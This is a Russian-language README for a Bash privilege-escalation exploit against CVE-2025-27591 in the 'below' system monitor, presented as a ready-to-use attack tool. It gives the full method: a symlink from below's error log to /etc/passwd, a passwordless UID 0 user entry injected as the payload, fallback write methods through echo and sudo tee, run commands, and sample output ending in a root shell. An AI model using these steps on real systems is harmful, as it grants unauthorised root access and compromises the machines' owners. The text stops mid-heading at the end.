CVE-2025-27591 Эксплойт — Атака через симлинк на логгер Below

Эксплойт для повышения привилегий на базе Bash, нацеленный на инструмент мониторинга производительности системы below. Этот модернизированный эксплойт использует уязвимость симлинков в механизме логирования для внедрения пользователя с правами root в /etc/passwd, получая полный доступ root.

Авторы

Обнаружено и сообщено Matthias Gerstner @ SUSE — Security Advisory

Детали уязвимости

• CVE: CVE-2025-27591
• Уязвимый компонент: /usr/bin/below (монитор производительности системы от Facebook)
• Уязвимые версии: Версии below с общедоступными для записи каталогами логов
• Тип уязвимости: Атака через симлинк / Повышение привилегий
• Вектор атаки: /var/log/below/error_root.log → /etc/passwd
• Оценка CVSS: Высокая (Повышение привилегий до root)

Обзор

Инструмент мониторинга below записывает ошибки в /var/log/below/error_root.log при работе с повышенными привилегиями. Если каталог логов общедоступен для записи, атакующий может:

1. Создать символическую ссылку с error_root.log на /etc/passwd
2. Запустить команду below record, чтобы записать сообщения об ошибках в симлинк
3. Вручную внедрить вредоносную запись пользователя с UID=0 (привилегии root)
4. Получить оболочку root, используя созданного пользователя

Этот эксплойт автоматизирует весь процесс с интеллектуальными механизмами отката для работы с различными конфигурациями системы.

Схема работы эксплойта

flowchart TD
    A[Начало эксплойта] --> B[Получить имя пользователя от пользователя]
    B --> C{Проверить /var/log/below<br/>общедоступен для записи?}
    C -->|Нет| D[Выход: не уязвим]
    C -->|Да| E[Удалить существующий error_root.log]
    E --> F[Создать симлинк:<br/>error_root.log → /etc/passwd]
    F --> G{Симлинк создан<br/>успешно?}
    G -->|Нет| D
    G -->|Да| H[Выполнить: sudo below record]
    H --> I[Подождать 3 секунды для логирования]
    I --> J[Убить процесс below]
    J --> K{Полезная нагрузка в<br/>/etc/passwd?}
    K -->|Да| M[Путь успеха]
    K -->|Нет| L[Попытка ручного внедрения:<br/>echo payload >> symlink]
    L --> N{Ручное внедрение<br/>успешно?}
    N -->|Нет| O[Попробовать запасной вариант:<br/>sudo tee -a]
    N -->|Да| M
    O --> P{Запасной вариант<br/>успешен?}
    P -->|Нет| D
    P -->|Да| M
    M --> Q[Проверить полезную нагрузку в /etc/passwd]
    Q --> R[Отключить очистку trap]
    R --> S[Выполнить: su username]
    S --> T[Получена оболочка root]

    style A fill:#e1f5ff
    style T fill:#90EE90
    style D fill:#ffcccb
    style M fill:#98fb98

Технические детали

Шаги эксплуатации

1. Фаза предварительной проверки

   • Проверить, существует ли каталог /var/log/below
   • Проверить, есть ли у каталога права на запись для всех (o+w)
   • Проверить возможность создания симлинка

2. Фаза настройки

   • Удалить существующий файл error_root.log (если есть)
   • Создать символическую ссылку: /var/log/below/error_root.log → /etc/passwd
   • Проверить, что симлинк указывает на правильную цель

3. Фаза внедрения (основной метод)

   • Запустить sudo below record в фоне
   • Дать процессу поработать 3 секунды для записи ошибок
   • Убить процесс, чтобы избежать непрерывного логирования
   • Проверить, повредили ли сообщения об ошибках /etc/passwd полезным образом

4. Фаза внедрения (запасные методы)

   • Метод 1: Прямое добавление через симлинк (echo >> symlink)
   • Метод 2: Использование sudo с tee (sudo tee -a)

5. Фаза запуска оболочки

   • Проверить, что вредоносный пользователь существует в /etc/passwd
   • Отключить очистку trap, чтобы предотвратить удаление
   • Выполнить su <username> для получения оболочки root

Структура полезной нагрузки

Внедряемая запись /etc/passwd имеет следующий формат:

username::0:0:username:/root:/bin/bash

Расшифровка полей:

• username: Имя пользователя, введённое пользователем (по умолчанию "0xdtc")
• ::: Пустое поле пароля (пароль не требуется)
• 0:0: UID=0, GID=0 (привилегии root)
• username: Поле GECOS (описание пользователя)
• /root: Домашний каталог
• /bin/bash: Оболочка входа

Предварительные требования

• Целевая система работает с уязвимым бинарным файлом below
• Каталог /var/log/below должен быть общедоступен для записи
• Пользователь должен иметь доступ к sudo для выполнения below record
• Среда оболочки Bash

Использование

Базовый запуск

# Сделать скрипт исполняемым
chmod +x CVE-2025-27591

# Запустить эксплойт
./CVE-2025-27591

Интерактивные запросы

========================================
  CVE-2025-27591 Эксплойт (Bash)
========================================

[*] Этот эксплойт создаст нового пользователя root в /etc/passwd
[?] Введите имя пользователя для нового root-пользователя (по умолчанию: 0xdtc): myuser
[+] Используется имя пользователя: myuser

Пример вывода

0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
  CVE-2025-27591 Эксплойт (Bash)
========================================

[*] Этот эксплойт создаст нового пользователя root в /etc/passwd
[?] Введите имя пользователя для нового root-пользователя (по умолчанию: 0xdtc): 0xdtc
[+] Используется имя пользователя: 0xdtc

[*] Проверка на уязвимость CVE-2025-27591
[+] /var/log/below общедоступен для записи
[*] Тестирование создания симлинка
[+] Тест симлинка успешен
[+] Цель уязвима

[*] Начало эксплуатации
[+] Полезная нагрузка записана в /tmp/exploit_payload
[*] Создание симлинка: /var/log/below/error_root.log -> /etc/passwd
[+] Симлинк создан
[*] Выполнение 'sudo below record' для запуска логирования
[*] Запущен 'below record' с PID: 12345
[*] Проверка, была ли записана полезная нагрузка
[*] Попытка ручного внедрения
[*] Добавление полезной нагрузки в /etc/passwd через симлинк
[+] Полезная нагрузка добавлена
[+] Эксплуатация завершена! Полезная нагрузка в /etc/passwd
[*] Запуск оболочки root через 'su 0xdtc'
[*] Пароль должен быть пустым, просто нажмите Enter

root@kali:/tmp# whoami
root

Возможности

Интеллектуальная обработка препятствий

Скрипт включает несколько запасных механизмов для работы с различными конфигурациями системы:

1. Обработка существующих файлов

   • Автоматически обнаруживает и удаляет существующие файлы логов
   • Работает как с обычными файлами, так и с существующими симлинками
   • Проверяет цель симлинка перед продолжением

2. Несколько методов внедрения

   • Основной: Запуск через логирование ошибок below record
   • Запасной 1: Прямое добавление к симлинку
   • Запасной 2: Запись с повышенными правами через sudo tee

3. Управление процессами

   • Автоматически убивает зависшие процессы below
   • Предотвращает истощение ресурсов
   • Обрабатывает очистку процессов при сбое

4. Обнаружение повторного запуска

   • Проверяет, существует ли уже полезная нагрузка в /etc/passwd
   • Пропускает эксплуатацию, если пользователь уже создан
   • При повторном запуске сразу запускает оболочку

Особенности качества кода

• Подробные комментарии: Каждая функция и критический шаг задокументированы
• Заголовки разделов: Код организован в логические секции
• Обработка ошибок: Правильная проверка ошибок и обратная связь пользователю
• Чистый выход: Обработчики trap для корректной очистки при сбое
• Минимальные зависимости: Чистый Bash со стандартными инструментами Unix

Структура файлов

.
├── CVE-2025-27591           # Основной скрипт эксплуатации
├── README.md           # Эта документация
└── /tmp/exploit_payload # Временный файл полезной нагрузки (создаётся во время выполнения)

Проверка